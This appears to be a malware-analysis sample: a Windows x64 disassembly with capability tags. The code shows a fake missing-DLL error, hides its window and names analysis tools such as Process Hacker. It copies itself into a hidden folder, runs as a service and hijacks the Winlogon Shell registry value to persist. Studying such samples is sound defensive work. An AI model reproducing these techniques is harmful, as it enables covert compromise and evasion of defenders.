Function at 0x14000a0c0
Capabilities:
Check if file exists
Copy file
Create directory
Create process on windows
Delete file
Get common file path
Get file attributes
Get token membership
Persist via winlogon helper dll registry key
Set file attributes
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x590]
sub rsp, 0x690
mov rax, qword [0x140018040]
xor rax, rsp
mov qword [rbp + 0x580], rax
xor r12d, r12d
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_SetConsoleCP]
call fcn.140005680
test al, al
je 0x14000a140
lea r9d, [r12 + 0x10]
lea r8, str.System_Error
lea rdx, str.The_program_cant_start_because_MSVCP140.dll_is_missing_from_your_computer._Try_reinstalling_the_program_to_fix_this_problem.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea eax, [r12 + 1]
jmp 0x14000b0f6
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x78], xmm0
mov qword [rbp + 0x88], rax
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x70], xmm1
lea r8d, [rax + 0x11]
lea rdx, str.processhacker.exe
lea rcx, [rsp + 0x60]
call fcn.140007f20
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x70], xmm1
mov r8d, socket
lea rdx, str.systeminformer.exe
lea rcx, [rbp - 0x80]
call fcn.140007f20
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x50], xmm1
mov r8d, recv
lea rdx, str.LpSysLtdS.exe
lea rcx, [rbp - 0x60]
call fcn.140007f20
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x78], xmm0
mov qword [rbp + 0x88], r12
mov ecx, 0x60
call fcn.14000d7b0
mov rbx, rax
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x80], rax
lea rcx, [rax + 0x60]
mov qword [rbp + 0x88], rcx
lea rax, [rbp + 0x78]
mov qword [rbp - 0x40], rax
lea rdi, [rsp + 0x60]
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
mov qword [rbp - 8], rbx
mov qword [rbp], rbx
lea rax, [rbp + 0x78]
mov qword [rbp + 8], rax
nop word [rax + rax]
mov rdx, rdi
mov rcx, rbx
call fcn.1400068b0
add rbx, 0x20
mov qword [rbp], rbx
add rdi, 0x20
lea rax, [rbp - 0x40]
cmp rdi, rax
jne 0x14000a230
mov rdx, rbx
mov rcx, rbx
call fcn.14000cb20
mov qword [rbp + 0x80], rbx
lea r9, [fcn.140001e00]
mov edx, 0x20
lea r8d, [rdx - 0x1d]
lea rcx, [rsp + 0x60]
call fcn.14000d7ec
mov dword [rbp - 0x38], r12d
mov dword [rbp - 0x34], 0
mov word [rbp - 0x30], 0x500
lea rax, [rbp - 0x40]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], r12d
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], r12d
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rbp - 0x34]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x14000a2f2
lea r8, [rbp - 0x38]
mov rdx, qword [rbp - 0x40]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x14000a2e8
mov dword [rbp - 0x38], r12d
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x23]
xor ecx, ecx
cmp dword [rbp - 0x38], ecx
je 0x14000a898
lea rax, [rbp + 0x160]
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov rbx, 0xffffffffffffffff
xorps xmm0, xmm0
mov qword [rbp + 0x48], r12
mov qword [rbp + 0x50], r12
movups xmmword [rbp + 0x38], xmm0
test eax, eax
js 0x14000a354
lea rax, [rbp + 0x160]
mov r8, rbx
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x14000a340
lea rdx, [rbp + 0x160]
jmp 0x14000a35e
xor r8d, r8d
lea rdx, [0x14001112c]
lea rcx, [rbp + 0x38]
call fcn.140007f20
nop
mov r8d, 0x104
lea rdx, [rbp + 0x370]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], r12
lea rax, [rbp + 0x370]
nop dword [rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x14000a3a0
mov r8, rbx
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x90]
call fcn.140007f20
nop
lea r8, str.YourAppFolder_
lea rdx, [rbp + 0x38]
lea rcx, [rbp - 8]
call fcn.14000c520
nop
lea r8, str.YourAppName.exe
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x18]
call fcn.14000c520
nop
mov dl, 1
lea rcx, [rbp + 0x78]
call fcn.14000cc80
cmp qword [rbp + 0x48], 0
je 0x14000a742
lea rcx, [rbp - 8]
cmp qword [rbp + 0x10], 7
cmova rcx, qword [rbp - 8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14000a42c
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000a742
lea rcx, [rbp - 8]
cmp qword [rbp + 0x10], 7
cmova rcx, qword [rbp - 8]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rbp + 0x18]
cmp qword [rbp + 0x30], 7
cmova rcx, qword [rbp + 0x18]
lea r9, [rbp + 0x90]
cmp qword [rbp + 0xa8], 7
cmova r9, qword [rbp + 0x90]
mov rdx, qword [rbp + 0xa0]
cmp rdx, qword [rbp + 0x28]
jne 0x14000a49f
mov r8, rdx
test rdx, rdx
je 0x14000a57b
sub r9, rcx
movzx eax, word [rcx + r9]
cmp ax, word [rcx]
jne 0x14000a49f
add rcx, 2
sub r8, 1
jne 0x14000a486
jmp 0x14000a57b
lea rcx, [rbp + 0x18]
cmp qword [rbp + 0x30], 7
cmova rcx, qword [rbp + 0x18]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000a4d9
lea rcx, [rbp + 0x18]
cmp qword [rbp + 0x30], 7
cmova rcx, qword [rbp + 0x18]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x14000a4d9
lea rdx, str.Failed_to_delete_existing_file._Error:
jmp 0x14000a544
lea rdx, [rbp + 0x18]
cmp qword [rbp + 0x30], 7
cmova rdx, qword [rbp + 0x18]
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 7
cmova rcx, qword [rbp + 0x90]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x14000a53d
lea rcx, [rbp + 0x18]
cmp qword [rbp + 0x30], 7
cmova rcx, qword [rbp + 0x18]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rbp + 0x18]
call fcn.140009db0
xor edx, edx
lea rcx, [rbp + 0x78]
call fcn.14000cc80
jmp 0x14000a742
lea rdx, str.Failed_to_copy_file._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.1400072f0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1400074d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rdx, qword [rbp + 0xa0]
lea rcx, [rbp + 0x18]
cmp qword [rbp + 0x30], 7
cmova rcx, qword [rbp + 0x18]
lea r8, [rbp + 0x90]
cmp qword [rbp + 0xa8], 7
cmova r8, qword [rbp + 0x90]
cmp rdx, qword [rbp + 0x28]
jne 0x14000a742
test rdx, rdx
je 0x14000a5ca
sub r8, rcx
movzx eax, word [rcx + r8]
cmp ax, word [rcx]
jne 0x14000a742
add rcx, 2
sub rdx, 1
jne 0x14000a5b2
lea rax, str.SimpleTimeLoggerService
mov qword [rbp + 0x140], rax
lea rax, [0x14000b140]
mov qword [rbp + 0x148], rax
mov qword [rbp + 0x150], r12
mov qword [rbp + 0x158], r12
lea rcx, [rbp + 0x140]
call qword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherW]
test eax, eax
jne 0x14000a742
xorps xmm0, xmm0
movups xmmword [rbp + 0x58], xmm0
mov qword [rbp + 0x68], r12
mov qword [rbp + 0x70], r12
lea r8d, [rax + 0x2b]
lea rdx, str.Failed_to_start_service_control_dispatcher.
lea rcx, [rbp + 0x58]
call fcn.1400082f0
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x160]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x160]
call fcn.14000c0c0
nop
cmp qword [rbp + 0x1e8], 0
je 0x14000a6aa
lea rdx, [rbp + 0x58]
cmp qword [rbp + 0x70], 0xf
cmova rdx, qword [rbp + 0x58]
mov r8, qword [rbp + 0x68]
lea rcx, [rbp + 0x160]
call fcn.140009b30
lea rdx, str._Error:
mov rcx, rax
call fcn.140007510
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1400078b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x160]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x160], rax
mov rax, qword [rbp + 0x160]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x15c], edx
lea rcx, [rbp + 0x168]
call fcn.14000bfe0
lea rcx, [rbp + 0x170]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x208]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x70]
cmp rdx, 0xf
jbe 0x14000a742
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a73c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a73c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000db04
nop
mov rdx, qword [rbp + 0x30]
cmp rdx, 7
jbe 0x14000a785
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a780
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a780
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000db04
mov qword [rbp + 0x28], r12
mov qword [rbp + 0x30], 7
mov word [rbp + 0x18], r12w
mov rdx, qword [rbp + 0x10]
cmp rdx, 7
jbe 0x14000a7d9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a7d4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a7d4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000db04
movdqa xmm0, xmmword [0x140011db0]
movdqu xmmword [rbp + 8], xmm0
mov word [rbp - 8], r12w
mov rdx, qword [rbp + 0xa8]
cmp rdx, 7
jbe 0x14000a834
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a82f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a82f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000db04
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], 7
mov word [rbp + 0x90], r12w
mov rdx, qword [rbp + 0x50]
cmp rdx, 7
jbe 0x14000b0a0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b09a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b09a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rax, [rbp + 0x370]
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov rbx, 0xffffffffffffffff
xorps xmm0, xmm0
mov qword [rbp + 0x68], r12
mov qword [rbp + 0x70], r12
movups xmmword [rbp + 0x58], xmm0
test eax, eax
js 0x14000a8e4
lea rax, [rbp + 0x370]
mov r8, rbx
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x14000a8d0
lea rdx, [rbp + 0x370]
jmp 0x14000a8ee
xor r8d, r8d
lea rdx, [0x14001112c]
lea rcx, [rbp + 0x58]
call fcn.140007f20
nop
mov r8d, 0x104
lea rdx, [rbp + 0x160]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], r12
mov qword [rbp + 0xc8], r12
lea rax, [rbp + 0x160]
nop dword [rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x14000a930
mov r8, rbx
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0xb0]
call fcn.140007f20
nop
lea r8, str.YourAppFolder_
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x38]
call fcn.14000c520
nop
lea r8, str.YourAppName.exe
lea rdx, [rbp + 0x38]
lea rcx, [rbp - 0x28]
call fcn.14000c520
nop
cmp qword [rbp + 0x68], 0
je 0x14000af1e
lea rcx, [rbp + 0x38]
cmp qword [rbp + 0x50], 7
cmova rcx, qword [rbp + 0x38]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14000a9b1
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000af1e
lea rcx, [rbp + 0x38]
cmp qword [rbp + 0x50], 7
cmova rcx, qword [rbp + 0x38]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 7
cmova rcx, qword [rbp - 0x28]
lea r9, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 7
cmova r9, qword [rbp + 0xb0]
mov rdx, qword [rbp + 0xc0]
mov r10, qword [rbp - 0x18]
cmp rdx, r10
jne 0x14000aa29
mov r8, rdx
test rdx, rdx
je 0x14000af29
sub r9, rcx
nop
movzx eax, word [rcx + r9]
cmp ax, word [rcx]
jne 0x14000aa29
add rcx, 2
sub r8, 1
jne 0x14000aa10
jmp 0x14000af29
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 7
cmova rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000aae4
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 7
cmova rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x14000aae4
lea rdx, str.Failed_to_delete_existing_file._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.1400072f0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1400074d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 7
jbe 0x14000af93
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000af8e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000af8e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, [rbp - 0x28]
cmp qword [rbp - 0x10], 7
cmova rdx, qword [rbp - 0x28]
lea rcx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 7
cmova rcx, qword [rbp + 0xb0]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x14000af12
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 7
cmova rcx, qword [rbp - 0x28]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [rbp + 0xd0], WSAGetLastError
xorps xmm0, xmm0
movups xmmword [rbp + 0xd8], xmm0
movups xmmword [rbp + 0xe8], xmm0
movups xmmword [rbp + 0xf8], xmm0
movups xmmword [rbp + 0x108], xmm0
movups xmmword [rbp + 0x118], xmm0
movups xmmword [rbp + 0x128], xmm0
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 7
cmova rcx, qword [rbp - 0x28]
lea rax, [rbp - 8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x14000abec
lea rdx, str.Failed_to_create_process._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.1400072f0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1400074d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x14000ac00
mov rcx, qword [rbp - 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rbp - 0x18]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
sub rax, rsi
cmp rax, 0xf
jb 0x14000b132
lea r15, [rbp - 0x28]
cmp qword [rbp - 0x10], 7
cmova r15, qword [rbp - 0x28]
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 8], xmm1
lea r14, [rsi + 0xf]
mov ebx, 7
lea rdi, [rbp - 8]
cmp r14, rbx
jbe 0x14000ace4
mov rbx, r14
or rbx, 7
cmp rbx, rcx
jbe 0x14000ac70
mov rbx, rcx
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x14000ac9f
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x14000b126
add rcx, rcx
cmp rcx, 0x1000
jb 0x14000acce
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000b126
mov rcx, rax
call fcn.14000d7b0
test rax, rax
je 0x14000acc7
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000ace0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000acdd
call fcn.14000d7b0
mov rdi, rax
jmp 0x14000ace0
mov rdi, r12
mov qword [rbp - 8], rdi
mov qword [rbp + 8], r14
mov qword [rbp + 0x10], rbx
movups xmm0, xmmword [0x140011a80]
movups xmmword [rdi], xmm0
movsd xmm0, qword [0x140011a90]
movsd qword [rdi + 0x10], xmm0
mov eax, dword [0x140011a98]
mov dword [rdi + 0x18], eax
movzx eax, word [0x140011a9c]
mov word [rdi + 0x1c], ax
lea rcx, [rdi + 0x1e]
lea r8, [rsi + rsi]
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov word [rdi + r14*2], r12w
lea rdx, [0x140011a7c]
lea rcx, [rbp - 8]
call fcn.140006d00
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x150], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x140], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x150], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 7
mov word [rax], r12w
mov rdx, qword [rbp + 0x10]
cmp rdx, 7
jbe 0x14000adb9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000adb4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000adb4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000db04
movdqa xmm0, xmmword [0x140011db0]
movdqu xmmword [rbp + 8], xmm0
mov word [rbp - 8], r12w
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000ae65
mov eax, dword [rbp + 0x150]
lea eax, [rax*2 + 2]
lea rcx, [rbp + 0x140]
cmp qword [rbp + 0x158], 7
cmova rcx, qword [rbp + 0x140]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.Shell
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x14000ae5c
lea rdx, str.Shell_value_in_the_registry_has_been_successfully_updated.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
jmp 0x14000aeaa
lea rdx, str.Failed_to_set_registry_value__error:
jmp 0x14000ae6c
lea rdx, str.Failed_to_open_registry_key__error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.1400072f0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1400074d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.Unable_to_set_Shell_value_in_the_registry._Make_sure_you_have_administrator_privileges.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.14000c6b0
lea rdx, [0x1400074d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x158]
cmp rdx, 7
jbe 0x14000aa9a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000af08
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000af08
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000db04
jmp 0x14000aa9a
lea rdx, str.Failed_to_copy_file._Error:
jmp 0x14000aa69
mov rdx, qword [rbp + 0xc0]
mov r10, qword [rbp - 0x18]
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 7
cmova rcx, qword [rbp - 0x28]
lea r8, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 7
cmova r8, qword [rbp + 0xb0]
cmp rdx, r10
jne 0x14000aa9a
test rdx, rdx
je 0x14000b12c
sub r8, rcx
nop dword [rax]
nop word [rax + rax]
movzx eax, word [r8 + rcx]
cmp ax, word [rcx]
jne 0x14000aa9a
add rcx, 2
sub rdx, 1
je 0x14000b12c
jmp 0x14000af70
call fcn.14000db04
mov qword [rbp - 0x18], r12
mov qword [rbp - 0x10], 7
mov word [rbp - 0x28], r12w
mov rdx, qword [rbp + 0x50]
cmp rdx, 7
jbe 0x14000afe7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000afe2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000afe2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000db04
movdqa xmm0, xmmword [0x140011db0]
movdqu xmmword [rbp + 0x48], xmm0
mov word [rbp + 0x38], r12w
mov rdx, qword [rbp + 0xc8]
cmp rdx, 7
jbe 0x14000b042
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b03d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
